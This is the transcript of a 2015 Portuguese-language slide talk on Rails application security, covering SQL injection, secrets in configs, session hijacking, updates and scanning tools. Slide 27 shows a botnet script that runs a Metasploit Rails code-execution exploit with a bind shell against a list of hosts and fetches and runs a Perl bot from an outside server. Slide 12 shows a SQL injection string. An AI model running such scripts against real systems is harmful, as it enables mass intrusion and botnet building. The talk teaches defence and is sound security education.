Segurança on Rails

Segurança on Rails

Nessa talk veremos os vetores de ataque mais utilizados para hackear aplicações Rails e o que pode ser feito para eveitar isso. Ao final, um exemplo prático de como é possível construir uma botnet explorando apps desatualizadas.

00e25f01471e24fa104046f4eee0ed90?s=128

Daniel Romero

June 22, 2015
Tweet

Transcript

  1. None
  2. infoslack.com - @infoslack - github.com/infoslack

  3. initsec.com

  4. infoslack.com/livro

  5. $ rails new project

  6. None
  7. None
  8. Minha aplicação está segura ?

  9. OWASP.org

  10. None
  11. SQL Injection Quem nunca ? User.where( “role = #{params[:role]}” )

    Nunca interpole!
  12. #FAIL email = “ ‘ OR 1) --” User.where(“ email

    = ‘#{email}’ ”).first #=> #<User id: 1, email: “user@xpto.com”> #OK User.where(email: params[:email]) Para ver mais: http://rails-sqli.org/
  13. Configs • não salve configs no repositório; • use variáveis

    de ambiente; • inserir arquivo de config apenas na hora do deploy; • SECRET TOKEN / config/secrets.yml
  14. None
  15. Session Hijacking • cookies para identificação de users; ◦ hacker

    pode roubar o cookie de um user • SSL em todo processo de autenticação; ◦ config.force_ssl = true • user inativo? ◦ expire a sessão! Mantenha tudo atualizado sempre!
  16. None
  17. Mesmo utilizando SSL tome cuidado!

  18. None
  19. None
  20. Ainda tem muito mais! • Updates! ◦ Updates no server

    (kernel); ◦ Updates nos softwares do server; ◦ Updates no framework; ◦ Updates nas dependências do projeto; ◦ Updates everywhere!
  21. Como posso verificar? • Testando a segurança do meu código

    #análise estática ◦ http://brakemanscanner.org/ ◦ https://codeclimate.com/ • Verificando atualizações: ◦ http://www.rubysec.com/ ◦ https://github.com/rubysec/ruby-advisory-db ◦ https://github.com/rubysec/bundler-audit ◦ https://hakiri.io/
  22. hakiri.io/facets

  23. None
  24. Como posso testar ?

  25. None
  26. Show me!

  27. Botnet #!/bin/sh TARGETS="ip-list.txt" CLI="metasploit-framework/msfcli" for host in $(cat $TARGETS) do

    tmux new-window -n $host $CLI'\ multi/http/rails_xml_yaml_code_exec rhost='$host'\ payload=ruby/shell_bind_tcp E' done #wget -O - http://labs.infoslack.com/bot.pl > /tmp/bot.pl && perl /tmp/bot.pl
  28. O que mais posso fazer ? • http://www.ubuntu.com/usn/ • https://www.ruby-lang.org/en/security/

    • http://nginx.org/en/security_advisories.html • http://guides.rubyonrails.org/security.html
  29. None